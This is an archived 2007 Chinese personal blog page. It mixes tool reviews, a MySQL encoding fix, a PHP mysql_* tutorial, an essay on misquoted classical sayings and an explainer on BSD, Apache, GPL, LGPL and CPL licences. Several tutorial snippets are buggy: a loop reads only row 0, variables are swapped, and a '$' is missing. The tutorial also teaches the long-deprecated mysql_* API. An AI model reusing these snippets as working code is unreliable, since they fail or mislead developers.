顺便推荐下王小峰的博客:不许联想,没错,就是那本被臭骂的破书的名字。



全片播放地址:《十面埋妇》 观看地址一
《十面埋妇》观看地址二
《十面埋妇》首映式观看地址
《十面埋妇》 首映式观看地址二
《十面埋妇》迅雷观看地址
《十面埋妇》下载地址(请用断线续传软件)
《十面埋妇》迅雷下载地址
直接下载全片:http://bbmedia.qq.com/media/bb/maifu.wmv

Go2Find:聚合搜索

解决Mysql中出现Data too long for column ‘test’ at row 1的问题

之前写过一个post 解决我遇到的php读写mysql 中文乱码问题,今天又碰到一个比较奇怪的问题,后来试了一下,发现基本上是一个问题:编码!

问题描述:在更新或者添加数据库条目的时候出现如下提示:Data too long for column 'test' at row 1。

解决方法:方法一:使用Mysql Query Browser 修改该字段的属性,把Column Charset 改成utf-8

方法二:直接在程序中写mysql_query("set character set gbk");

2007/07/24

QCollector:快速调用常用文件

小侯同学继QRunner 发布的第二个Dephi 程序:QCollector,一个管理常用文件的工具,所谓的常用文件指:应用程序,文件夹,各种文档等。

安装:

Q系列的软件,保持简单风格,绿色.在运行时会在文件目录生成一个配置文件config.ini

使用方法:

1.启动程序

双击即可.

程序启动后,会加载配置文件.如果没有,就默认生成一个.

默认的分类(Page)有3个:Application,对应应用程序;Directory,对应目录;Document,对应文档.可以在使用中自己添加或删除分类.

2.添加文件(夹)

将需要收藏的文件(夹)拖入QCollector即可,在拖入前,请先选则对应的分类(Page)页.

3.删除文件(夹)

这里的删除只会在QCollector中删除,而不会删除磁盘上的文件.

在"单击模式"下:可以使用Del键,鼠标中键,右键菜单中的DelIcon删除.

在"双击模式"下:可以使用Del键,右键菜单删除.

下载地址详细介绍(官方)

2007/07/23

JavaScript URL地址传递中的中文乱码问题

无法查看这则摘要。请 点击此处查看博文。

2007/07/22

PHP操作数据库详解(一)

1. 建立和关闭连接byLinghucong

1) mysql_connect()
    resource mysql_connect([string hostname [:port][:/path/to/socket][,string username] [,string password]])
    所有参数都是可选的
    举例:
    @mysql_connect("localhost", "webuser", "password")
    or die("Could not connect to mysql server!");
    注意,@符号表示禁止失败尝试导致的任何错误信息,用户将看到的是die()中指定的错误信息.
    
    注意,当与多个mysql进行连接时,必须指定每个连接的链接ID,如下:
    $link1 = @mysql_connect("server1", "webuser", "password")
    or die("Could not connect to mysql server!");
    $link2 = @mysql_connect("server2", "webuser", "password")
    or die("Could not connect to mysql server!");

2) mysql_pconnect()
   resource mysql_pconnect([string hostname [:port][:/path/to/socket][,string username] [,string password]])
    与mysql_connect()不同的是:会首先查找现有链接,不存在时才创建.
    注意,不需要显示关闭连接(mysql_close()),因为连接将放在池中,所以叫持久连接.

3) mysql_close()
    boolean mysql_close([resource link_id])
    关闭连接不是必须的,因为可以由mysql的垃圾回收来处理.
    如果没有指定link_id,则关闭最近的链接.
    
2. 选择数据库 byLinghucong
    mysql_select_db()
    boolean mysql_select_db(string db_name [, resource link_id])

3. 查询MySql

1) mysql_query()
    resource mysql_query(string query [,resource link_id])
    负责执行query.

2) mysql_db_query()
    resource mysql_db_query(string database, string query [, resource link_id])
    等价于mysql_select_db() + mysql_query(),从参数中就可以清楚的看出来.
    
4. 获取和显示数据 byLinghucong

1) mysql_result()
    mixed mysql_result(resource result_set, int row [,mixed field])
    从result_set 的指定row 中获取一个field 的数据. 简单但是效率低.
    
    举例:
    $link1 = @mysql_connect("server1", "webuser", "password")
    or die("Could not connect to mysql server!");
    @mysql_select_db("company") or die("Could not select database!");
    
    $query = "select id, name from product order by name";
    $result = mysql_query($query);
    $id = mysql_result($result, 0, "id");
    $name = mysql_result($result, 0, "name");
    
    mysql_close(); byLinghucong
    
    注意,上述代码只是输出结果集中的第一条数据的字段值,如果要输出所有记录,需要循环处理.
    ...
    for ($i = 0; $i <= mysql_num_rows($result); $i++)
    {
        $id = mysql_result($result, 0, "id");
        $name = mysql_result($result, 0, "name");
        echo "Product: $name ($id)";
    }
    ...
    
    注意,如果查询字段名是别名,则mysql_result中就使用别名.byLinghucong

2) mysql_fetch_row()
    array mysql_fetch_row(resource result_set)
    从result_set中获取整行,把数据放入数组中.
    举例(注意和list 的巧妙配合):
    ...
    $query = "select id, name from product order by name";
    $result = mysql_query($query);
    while(list($id, $name) = mysql_fetch_row($result)) {
        echo "Product: $name ($id)";
    }
    ...
    
3) mysql_fetch_array() byLinghucong
    array mysql_fetch_array(resource result_set [,int result_type])
    mysql_fetch_row()的增强版.
    将result_set的每一行获取为一个关联数组或/和数值索引数组.
    默认获取两种数组,result_type可以设置:
    MYSQL_ASSOC:返回关联数组,字段名=>字段值
    MYSQL_NUM:返回数值索引数组.
    MYSQL_BOTH:获取两种数组.因此每个字段可以按索引偏移引用,也可以按字段名引用.
    举例:
    ...
    $query = "select id, name from product order by name";
    $result = mysql_query($query);
    while($row = mysql_fetch_array($result, MYSQL_BOTH)) {
        $name = $row['name'];//或者 $name = $row[1];
        $name = $row['id'];//或者 $name = $row[0];
        echo "Product: $name ($id)";
    }
    ... byLinghucong
    
4) mysql_fetch_assoc()
    array mysql_fetch_assoc(resource result_set)
    相当于 mysql_fetch_array($result, MYSQL_ASSOC)
    
5) mysql_fetch_object()
    object mysql_fetch_object(resource result_set)
    和mysql_fetch_array()功能一样,不过返回的不是数组,而是一个对象.
    举例:
    ...byLinghucong
    $query = "select id, name from product order by name";
    $result = mysql_query($query);
    while($row = mysql_fetch_object($result)) {
        $name = $row->name;
        $name = $row->id;
        echo "Product: $name ($id)";
    }
    ...
    
5. 所选择的记录和受影响的记录 byLinghucongbyLinghucong

1) mysql_num_rows()
    int mysql_num_rows(resource result_set)
    返回result_set中的行数.
    注意,mysql_num_rows()只在确定select语句查询获得的记录数有效,如果要获取insert/updata/delete查询影响的记录数,需要使用mysql_affected_rows().

2) mysql_affected_rows()
    int mysql_affected_rows([resource link_id])
    获取insert/updata/delete查询影响的记录数
    注意,不需要输入参数,默认使用最近建立的数据库连接的最近结果.可以使用可选参数link_id来选择数据库连接.
    
6. 获取数据库和表的信息
1) mysql_list_dbs() byLinghucong
    resource mysql_list_dbs([resource link_id])
    获取服务器上所有数据库名称.
    举例:
    mysql_connect("localhost", "name","pwd");
    $dbs = mysql_list_dbs();
    while (list($db) = mysql_fetch_row(dbs)) {
        echo "$db <br>";
    }
    注意,输出结果与使用的用户权限相关.

2) mysql_db_name() byLinghucong
    string mysql_db_name(resource result_set, interger index)
    获取在mysql_list_dbs()返回的result_set中位置为index的数据库名.
    
3) mysql_list_tables()
    resource mysql_list_tables(string database [,resource link_id])
    获取database中的所有表名.
byLinghucong
4) mysql_tablename()
    string mysql_tablename(resource result_set, interger index)
    获取mysql_list_tables()返回的result_set中位置为index的表名.

2007/07/20

快快抢注@live.com和@live.cn邮箱地址

在Nicky 那里看到注册@live.com和@live.cn邮箱地址的方法,测试可用,简化步骤如下:

如果注册@live.cn 的邮箱,从 这里进入

如果注册@live.com的邮箱, 这里进入。(注意:如果你是中文系统,可能需要把浏览器或者系统语言修改为英语。)

如果以上方法行不通,就去用Nicky 的方式修改。

PS:奇怪的是,在我注册@live.com的时候选择China 后看到省份列表中居然只有一个Shanxi,没有Shaanxi,hoho难道陕西和山西都用这一个?



2007/07/16

Stixy:一个在线协作白板工具

Stixy 是一个在线协作白板工具,现在还处于内测中,不能直接申请帐号,不过从首页上已经能够看出来Stixy 的部分功能,有点像以前见到的爱墙之类的东西,也有些象个性化主页,不过做的还是相当的精美,看上去很不错,功能也很吸引人。


提供类似服务的还有 Buzzword, Octopz , WebChops Zoho Notebook等。

被误传了几千年的七句话(Z)

在中国崇尚权威的文化氛围中,名人名言占的地位是很重的,很多名家说的话,往往被人当成指导自己人生观世界观的不二准则。但几千年流传下来的名言中,也有一些话被人刻意或无知地曲解,背离了话语者本身的意旨与初衷,迷惑了天下万千受众……

1、以德报怨

原句:"或曰:'以德报怨,何如?'子曰:"何以报德?以直报怨,以德报德" ――《论语 宪问》

万万没想到原来在孔子这句"以德报怨"的后边还跟着另外一段话,什么话呢?子曰:"以德报怨,何以报德?以直报怨,以德报德!"看完以后,幡然醒悟,原来我们都被某个断章取义的孔子FANS给玩了一把!

当时的真实情况是怎么样的呢?孔子的一个弟子问他说:师傅,别人打我了,我不打他,我反而要对他好,用我的道德和教养羞死他,让他悔悟,好不好?孔子就说 了,"你以德报怨,那'何以报德',别人以德来待你的时候,你才需要以德来回报别人;可是现在别人打了你,你就应该'以直报怨',拿起板砖飞他!"

歪曲程度:8

反面影响:9

2、民可使由之,不可使知之

原句:"子曰:兴于诗,立于礼,成于乐。子曰:民可使由之,不可使知之。"――《论语・秦伯》

我们结合上下文的语境,很容易就能得出这句话正确的分句方法:"子曰:兴于诗,立于礼,成于乐。民可,使由之,不可,使知之。"

孔子的整句话就是说,诗、礼、乐这三样东西是教育民众的基础,一定要抓好。如果人民掌握了诗、礼、乐,好!让他们自由发挥;如果人民还玩不来这些东西,我们就要去教化他们,让他们知道和明白这些东西。这才是"有教无类"的大教育家孔老先生的本意。

歪曲程度:7

反面影响:9

3、无毒不丈夫

原句:量小非君子,无度不丈夫。――民间谚语联对

这句来自民间的谚语本来应该是"量小非君子,无度不丈夫",这本来是个很好的句子,里边充分运用了对仗。显示出了一份阳刚有力的气魄,一个胸怀坦荡的男人 形象就跃然于纸上,可惜劳动人民口耳相传的这一句话,到了朝廷上那些所谓的学高八斗的"君子"嘴里就变了个味。为什么呢?

这要从古时候文人的习性说起,在这副对联式的谚语里,"度"为仄声字,念着别扭,很容易读为平声字"毒"。那些对音律美感要求甚高的学者们某天吃饱了没事儿干,便发挥他们的专长自做主张,把这句改为"无毒不丈夫"了。

歪曲程度:9

反面影响:5

4 唯女子与小人难养也

原句:唯女子与小人难养也,近之则不孙,远之则怨。――《论语・阳货》

在《史记・孔子世家》里,提到了孔子之前的卫国之行,孔子"居卫月余,灵公与夫人同车,宦者雍渠参乘出,使孔子为次乘,招摇市过之。孔子曰:'吾未见好德如好色者也。'于是丑之,去卫。"

我来大致翻译一下这段话,当代全国教育劳模孔老先生受卫国国君的邀请,来到了卫国参观学习休养。但在这期间,孔老先生突然发现自己被涮了,人家根本是拿他 的身份来炫耀自己抬高自己而已,并不是真正支持他来这教化卫国民众的。尤其是那个卫灵公的老婆,为了抬高自己的身望,公开炫耀,贬低了孔子。

孔老先生很郁闷,收拾行李就离开了卫国,离开之后,心情平复了,想起卫国公老婆那种仗着得宠、骄横跋扈乱政扰民的烂事儿,就发了感慨:"唯女子与小人难养也!近之则不孙,远之则怨。"

看看孔子的卫国之行,一切都明白了,他这话断不是发神经突然开骂起包括自己老妈在内的所有女人,而是有一个特指的对象,这个对象,就是卫灵公那位老婆南子等人。

歪曲程度:6

反面影响:9

5、吾生也有涯,而知也无涯

原句:吾生也有涯,而知也无涯,以有涯随无涯,殆已 ――――――《庄子・养生主》

庄子的这句话其实是这样说的,"吾生也有涯,而知也无涯,以有涯随无涯,殆已。"我庄子的生命是有限的,但我面对的知识是无限的,要我以本来有限的生命,去追求那种永远看不到边的尽头,这样会搞死自己的"

歪曲程度:8

反面影响:3

6、相濡以沫

原句:相濡以沫,不如相忘于江湖――《庄子・大宗师》

相濡以沫,多美的情景,虽然这并不是爱情最理想的状态。当年街道居委会的老大妈就算再没文化,这句话肯定是会说的。只是我们都没曾想到,后边还跟了一句"还可以相忘于江湖"

7:天地不仁,以万物为刍狗

原句:天地不仁,以万物为刍狗,圣人不仁,以百姓为刍狗――《道德经》

其实这句话的真正意思是说,天地不情感用事,对万物一视同仁,圣人不情感用事,对百姓一视同仁。你们推崇的这句话,它的原意中根本没有你们所需要的压迫与歧视,却恰恰相反,它说的是一个公平的道理:我们所有的人,所有的众生在天地的眼中,都是平等的。

三个月Flickr Pro免费用

Yahoo!Photo中的照片要转移,我自然选择flickr,转移之后收到邮件,发现我的flickr变成了Pro账户:>3个月试用,呵呵。

Hi again Linghucong -

Yee har! All your photos have been imported from your
Yahoo! Photos account into your Linghucong Flickr account.

And! To say thanks for choosing Flickr as the home for your
Yahoo! photos, we've topped up your pro account with an
extra 3 months of Flickr pro for free. That means your pro
account is good until 15th October, 2007.
We're guessing the first thing you'd like to do is make
sure everything made it over OK. We've done our best to
keep as much information about your photos as we can, like
their titles and descriptions, or whether they belong in an
album (which we've transformed into a Set on Flickr). For
more info, please review our FAQs about what will happen
when your photos arrive.

Here's more information about the details of the transfer:
http://www.flickr.com/help/yahoophotos/

Or, if you just want to get going, head for Your Photos
page to get started: http://www.flickr.com/photos/jiji262/

Regards, Flickr HQ

2007/07/11

Hey!Spread:同时上传一个视频到多个网站

HeySpread

视频网站的流行注定你不知是用是个此类服务,就像邮箱、bbs甚至blog,有点像狡兔三窟,不过你想,向某国家领导人一样睡个觉都要一夜换几个地方,累不说,也是在太麻烦了点。另外,上传一个视频到几个不同的存储网站也是在比较耗精力,可比同时更新几个blog费劲多了。

Hey!Spread就是考虑到这种需求应运而生的。它是提供视频转换服务的Hey!Watch 发布的一项服务,支持一次性上传视频文件到 YouTube, MySpace, Google Videos , Yahoo Videos, Dailymotion, Blip.tv, Photobucket, Metacafe, Bolt, Putfile等网站上,不过好像没有一个国内的,是不是国内某些web2.0 followings 应该抓紧时间copy一个?

FotoFlexer:新上线在线图片处理网站


FotoFlexer 是个在线图片处理的网站,当然,这样的网站已经有很多了,若干天前daodao 曾经有一个很经典的列表,几乎列出了此类的所有应用,不过那个时候可能FotoFlexer 还没有出现,所以未曾上榜。

daodao 对FotoFlexer 的评价就是"最大的特色是将Photoshop中的"蒙版"运用在了这款应用程序中"。我不怎么在线处理图片,但是一旦需要我会毫不犹豫的选择 Picnik。因为Picnik做的是在是太漂亮了,漂亮的让人觉得有点惊艳,呵呵。无论是色彩,还是功能、操作方式等,无不让人觉得很是舒服。相比之下,FotoFlexer 就稍显逊色,不过也是同类中的佼佼者了。


很明显FotoFlexer 使用Adobe 的Flex2构建,当然不是因为他的名字(是相当的明显:>),因为它的加载进度显示就是Flex2默认的,这个应该是可以改的吧,这样也未免太不个性了吧:>Picnik同样基于flash构建,不过应用的出神入化、不留痕迹。这才是高手。

CrossLoop:简单安全的屏幕共享

共享桌面给好友应该不算是什么新的需求了,QQ上就有所谓的远程桌面,甚至Windows本身也有自己的远程桌面,只不过超级难用罢了。记得前几天看到Zoho推出了他的Meeting 在线系统,也提供桌面共享以及远程控制等功能。
CrossLoop

今天介绍的这个叫做CrossLoop,自称是简单安全的屏幕共享,网站上的介绍如下:

  • 连接地球上任何两台个人电脑 
  • 简单、易于使用的界面 
  • 支持 21 种语言
  • 通过防火墙和 NAT 运作 
  • 在不到六十秒内实现安全的屏幕共享

  • 为用户创造需求:由Xtimeline想到的

    有些东西当你没有的时候你不会发现自己需要它,但是一旦有了,你就会发现,自己离开了它真的没法活了。比如电视机、电脑,甚至最简单的:电!以前没电的时候人们照样快快乐乐的活着,没事还可以琢磨一下用什么样的灯芯比较节省煤油。但是一旦有了电之后的某一天突然停电,就会发现,心情会坏到极点。

    乔布斯说:不要听用户的。从另一方面可以这样理解,那就是你完全可以给用户创造需求,在他不觉得自己需要的时候。历史上有很多这方面的例子,个人电脑算是典型代表了。不过现在没时间研究到底是谁先说的"我的梦想是让每一个家庭的桌上放一台PC",咱们是看一下最简单的:电脑的操作方式。在没有电脑的时候,你对菜单是什么印象?在没有鼠标的时候,你理解什么叫做拖放么?菜单也好,拖放等操作也罢,无非就是某些人给我们创造的一种需求,当这种需求摆上市面的时候,我们才发现,其实我们需要它。

    所以,作为"供应商"(不好意思,想不起来更好的词,简单的说就是提供需求的那些家伙们),就应该按照中国民间流传的一句玩笑话来运作:有困难要帮,没有困难创造困难也要帮。

    扯了这么大半天,终于要扯到正题了。其实时下比较流行的web2.0理念下的许多服务,大多属于这种类型。比如在有flickr 之前,我完全可以把图片放在论坛甚至邮箱中,而且我这么做的时候不会觉得需要有一个专门的网站留着让我保存图片,但是当我使用了flickr 之后,我发现,这就是我需要的!比如在没有 digg 的时候,我可以到门户网站去看编辑推荐,但是有了digg 之后我会发现,原来世界很精彩,所以我经常去digg一下。

    今天看到一个可以在线做自己的timeline 的网站:XTimeLine。其实在看到它之前,我都不知道自己会有去创建一个timeline 的需求或者说欲望,但是进去之后你发现,原来信息可以以这种方式进行整合和共享,实在是精彩!!!

    这里是Google、Yahoo、MS理念收购的网站、公司的timeline,看起来很清晰。



    这里还有 Google 公司发展历程哈利波特的成长过程。看了之后真的由自己去Create一个timeline 的冲动了,我知道,是有这种需求的。

    2007/07/08

    新闻转播:世界“新七大奇迹”揭晓

    中新网7月8日电  一度备受争议的世界"新七大奇迹"评选于北京时间7月8日凌晨在葡萄牙首都里斯本揭晓,中国长城、约旦佩特拉古城、巴西基督像、印加马丘遗址、奇琴伊查库库尔坎金字塔、古罗马斗兽场、泰姬陵成为世界"新七大奇迹"。

    上述"新七大奇迹"是全球投票者从主办方提供21个评选名单中通过电话、短信、网络等方式选出的。

    今年5月,"新七大奇迹"基金会突然爆出"冷门",中国长城的得票数已经跌出"前七",因而中国长城学会和八达岭管委会开始了拉票活动。但这一举动引来的反对之声不绝于耳。

    旧"世界七大奇迹"中唯一留存的埃及吉萨金字塔,将理所当然保有奇迹的地位,这主要是因为埃及官员说,要金字塔去竞争一席之地是一种侮辱,因而8日共产生八个世界奇迹,包括金字塔。

    该活动的主办方"世界新七大奇迹"基金会是1999年由瑞士商人、旅行家贝尔纳&#8226;韦伯先生创立的。2006年1月1日,由6名 世界建筑师和文化界人士组成的基金会专家委员以不记名投票的形式从77个备选的景点名单中选出了最后21个评选名单。2007年7月8日选出"新世界七大 奇迹"。

    2007/07/06

    闭上你的鸟嘴!

    一只小鸟正在飞往南方过冬的途中。天气太冷了,小鸟冻僵了,从天上掉下来,跌在一大片农田里。它躺在田里的时候,一只母牛走了过来,而且拉了一泡屎在它身上。冻僵的小鸟躺在牛屎堆里,发掘牛粪真是太温暖了。牛粪让它慢慢缓过劲儿来了!它躺在那儿,又暖和又开心,不久就开始高兴地唱起歌来了。一只路过的猫听到了小鸟的歌声,走过来查个究竟。顺着声音,猫发现了躲在牛粪中的小鸟,非常敏捷地将它刨了出来,并将它给吃了!

    这个故事的寓意是……

    1) 不是每个在你身上拉屎的都是你的敌人。
    2) 不是每个把你从屎堆中拉出来的都是你的朋友。
    3) 而且,当你陷入深深的屎堆当中(身陷困境)的时候,闭上你的鸟嘴!

    2007/07/05

    bloggao:blogger赚钱新方式

    最近blog 广告一直闹得风风火火的,所以大家都在迷茫中探索,也不知道那一种形式可以比较长久。bloggao就是其中之一,它提供类似链接似的广告,和话题广告有很大的区别,和google adsense 有点相似。不过比较有特色的一点是你可以自己定制广告内容。注册地址。


    如果你想通过blog挣点小钱,可以注册一下。(请点击这里注册,呵呵,好像我也可以因此获得RMB1.0:》)

    2007/07/04

    常用开源协议详细解析[Z]

    开源在今天的软件业已经很普遍,但开源是否意味着使用者可以对开源后的代码为所欲为呢?答案是否定的.开源运动同样有自己的游戏规则和道德准则.不遵行这些规则不但损害开源运动的健康发展,也会对违规者造成名誉和市场上的损失,更可能陷入法律纠纷和赔偿.
      首先,要对几个概念有所了解:

      1. Contributors 和 Recipients

       Contributors 指的是对某个开源软件或项目提供了代码(包括最初的或者修改过的)发布的人或者实体(团队、公司、组织等),Contributors 按照参与某个软件开源的时间先后,可以分为 an initial Contributor 和 subsequent Contributors .

      Recipients指的是开源软件或项目的获取者,显然,subsequent Contributors 也属于 Recipients之列.

      2. Source Code 和 Object Code

      Source Code 指的是各种语言写成的源代码,通过Source Code,结合文档, 可以了解到整个软件的体系结构及具体到某个功能函数的实现方法等.

      Object Code 指的是Source Code 经过编译之后,生成的类似于"类库"一样的,提供各种接口供他人使用的目标码,按我的理解,它就是像常见的DLL、ActiveX、OCX控件性质的东西.(不知道这样理解对不对)

      分清楚这两个概念的目的在于,有些开源,只发布Object Code ,当然,大多数发布的是Source Code.很多协议也对 "你发布的是哪种Code的时候应该怎样",有着明确的约束.

      3. Derivative Module 和 Separate Module

      Derivative Module 指的是,依托或包含"最初的"或者"从别人处获取的"开源代码而产生的代码,是原"源代码"的增强(不等于增加)、改善和延续的模块,意为"衍生模块".

      Separate Module 指的是,参考或借助原"源代码",开发出的独立的,不包含、不依赖于原"源代码模块",意为"独立的模块".理解这两个概念的目的在于,很多协议对涉及到商业发布的时候,会有哪些是衍生的,哪些是独立的,有着明确的商业发布规定.

      现今存在的开源协议很多,而经过Open Source Initiative组织通过批准的开源协议目前有58种.我们在常见的开源协议如BSD, GPL, LGPL, MIT等都是OSI批准的协议.如果要开源自己的代码,最好也是选择这些被批准的开源协议.
      这里我们来看四种最常用的开源协议及它们的适用范围,供那些准备开源或者使用开源产品的开发人员/厂家参考.

      BSD开源协议(Berkeley Software Distribution )

       BSD开源协议是一个给予使用者很大自由的协议.基本上使用者可以"为所欲为"可以自由的使用,修改源代码,也可以将修改后的代码作为开源或者专有软件 再发布.但"为所欲为"的前提当你发布使用了BSD协议的代码,或则以BSD协议代码为基础做二次开发自己的产品时,需要满足三个条件:

      1. 如果再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议.

      2. 如果再发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议.

      3. 不可以用开源代码的作者/机构名字和原来产品的名字做市场推广.

      其实这几个规则约定的目的也只是达到一个目的:是他人的东西,别人以BSD开源了,你就不能不做任何声明而占为己有,更不能用他人的名义来做商业推广.你只对你自己的东西拥有绝对控制权.

       举个例子,你用开源代码(A)修改或做其他增添之后,产生了产品B,这时候,你对B的控制由你自己决定,你可以用任何协议再开源,也可以闭源商业发布. 但,因为如果B中包含了A或A的一部分(一点都不包含就不叫修改了),那你在B产品的版权声明中,必须有提到你有使用到 A ,并且附带上 A 的开源协议.而且不能做商业推广的时候将B 冠以原开源作者的名义以促进商业推广.

      BSD代码鼓励代码共享,但需要尊重代码作者的著作权.BSD由于允许使用者修改和重新发布代码,也允许使用或在BSD代码上
    开发商业软件发布和销售,因此是对商业集成很友好的协议.而很多的公司企业在选用开源产品的时候都首选BSD协议,因为可以完全控制这些第三方的代码,在必要的时候可以修改或者二次开发.

        Apache Licence 2.0

      Apache Licence是著名的非盈利开源组织Apache采用的协议.该协议和BSD类似,同样鼓励代码共享和尊重原作者的著作权,同样允许代码修改,再发布(作为开源或商业软件).需要满足的条件也和BSD类似:

      1. 需要给代码的用户一份Apache Licence

      2. 如果你修改了代码,需要再被修改的文件中说明.

      3. 在延伸的代码中(修改和有源代码衍生的代码中)需要带有原来代码中的协议,商标,专利声明和其他原来作者规定需要包含的说明.

      4. 如果再发布的产品中包含一个Notice文件,则在Notice文件中需要带有Apache Licence.你可以在Notice中增加自己的许可,但不可以表现为对Apache Licence构成更改.

      Apache Licence也是对商业应用友好的许可.使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布 /销售.

       GPL (Gun General Public License)vesion 2.0 1991

       我们很熟悉的Linux就是采用了GPL.GPL协议和BSD, Apache Licence等鼓励代码重用的许可很不一样.GPL的出发点是代码的开源/免费使用和引用/修改/衍生代码的开源/免费使用,但不允许修改后和衍生的代 码做为闭源的商业软件发布和销售.这也就是为什么我们能用免费的各种linux,包括商业公司的linux和linux上各种各样的由个人,组织,以及商 业软件公司开发的免费软件了.

      GPL协议的主要内容是只要在一个软件中使用("使用"指类库引用,修改后的代码或者衍生代码)GPL 协议的产品,则该软件产品必须也采用 GPL协议,既必须也是开源和免费.这就是所谓的"传染性".GPL协议的产品作为一个单独的产品使用没有任何问题,还可以享受免费的优势.

      由于GPL严格要求使用了GPL类库的软件产品必须使用GPL协议,对于使用GPL协议的开源代码,商业软件或者对代码有保密要求的部门就不适合集成/采用作为类库和二次开发的基础.

      最常见的开源协议,使用它作为授权协议的有大名鼎鼎的 Linux .GPL最显著的两个特点就是网上称为的"病毒性传播"和"不允许闭源的商业发布".

       所谓的"病毒性传播",指的是,GPL规定,所有从GPL协议授权的源码衍生出来的(即上面提到的Derivative Module),或者要跟GPL授权的源码混着用的Project,都要遵循GPL协议,就像病毒一样,粘上了关系,就"中毒"了.GPL这样规定的目的 是,保证在GPL协议保护下的产品,不会再受到其他协议或者授权的约束.即让跟GPL有关系的源码都能免费获取.举个例子,如果你的改进的Linux中使 用了GPL授权下的开源模块(也必须使用,你不可能自己重新去做个内核吧,如果做出来了,你也没必要叫Linux了.),那么你整个Linux产品也必须 遵循GPL协议去开源,不能以其他方式去开源发布,更不允许闭源发布.这样一来,就不会出现这样一个Linux--这个功能是GPL协议授权的,可以免费 获取源码,而另外一个功能是其他协议下的,拿不到源码.这点规定对使用或者研究该产品的人来说,是一个极大的便利.

      而"不允许闭源商 业发布"指的是,在GPL授权下,你的软件产品可以商业发布,拿去卖钱,但是在这同时,你也必须将该产品的源码以GPL协议方式开源发布出去,供他人免费 获取.也许有人会迷惑,拿去卖,又同时开源,那谁来买阿?这个产品怎么赚钱呢??这就涉及到开源产品的商业模式的问题了,想了解相关一些信息的话,可以看 看以上我给出链接的一些文章.至于后面,可能会写一篇关于开源项目的商业模式的随笔.

      GPL协议下的商业发布的一个关键点就像 Java 视线论坛的 Robbin所说的,GPL是针对软件源代码的版权,而不是针对软件编译后二进制版本的版权.你有权免费获得软件的源代码,但是你没有权力免费获得软件的 二进制发行版本.GP对软件发行版本唯一的限制就是:你的发行版本必须把完整的源代码一同提供.

      它细节如再发布的时候需要伴随GPL协议等和BSD/Apache等类似.

      LGPL

       LGPL是GPL的一个为主要为类库使用设计的开源协议.和GPL要求任何使用/修改/衍生之GPL类库的的软件必须采用GPL协议不同. LGPL允许商业软件通过类库引用(link)方式使用LGPL类库而不需要开源商业软件的代码.这使得采用LGPL协议的开源代码可以被商业软件作为类 库引用并发布和销售.

      但是如果修改LGPL协议的代码或者衍生,则所有修改的代码,涉及修改部分的额外代码和衍生的代码都必须采用 LGPL协议.因此LGPL协议的开源代码很适合作为第三方类库被商业软件引用,但不适合希望以LGPL协议代码为基础,通过修改和衍生的方式做二次开发 的商业软件采用.

      GPL/LGPL都保障原作者的知识产权,避免有人利用开源代码复制并开发类似的产品.

      CPL(Common Public Liecense) vesion 1.0

      CPL是IBM 提出的并通过了OSI(Open Source Initiative)批准的开源协议.主要用于一些IBM或跟IBM相关的开源软件 /项目中.如很著名的Java开发环境 Eclipse 、RIA开发平台Open Laszlo等.

      CPL也是一项对商业应用友好的协议.它允许 Recipients 对源码进行任意的使用、复制、分发、传播、展示、修改以及改后做闭源的二次商业发布,这点跟 BSD 很类似,也属于自由度比较高的开源协议.但是,需要遵循:

      1. 当一个Contributors将源码的整体或部分再次开源发布的时候,必须继续遵循 CPL开源协议来发布, 而不能改用其他协议发布.除非你得到了原"源码"Owner 的授权.

      2. CPL协议下,你可以将源码不做任何修改来商业发布.但如果你要将修改后的源码其开源,而且当你再发布的是Object Code的时候,你必须声明它的Source Code 是可以获取的,而且要告知获取方法.

      3. 当你需要将CPL下的源码作为一部分跟其他私有的源码混和着成为一个 Project 发布的时候,你可以将整个Project/Product 以私人的协议发布,但要声明哪一部分代码是CPL下的,而且声明那部分代码继续遵循CPL.

      4. 独立的模块(Separate Module),不需要开源.

    来源

    在线收听:听Keso乱弹琴

    人民大会谈13 - 听Keso乱弹琴 (上)

    今天在这里看到飞猪对keso 的采访,第一次听见中文blogger 的牛人keso 的声音,哈哈。
    这里还有文本记录。

    aw2-mp3.gif 音频下载  aw2-mp3.gif 在线收听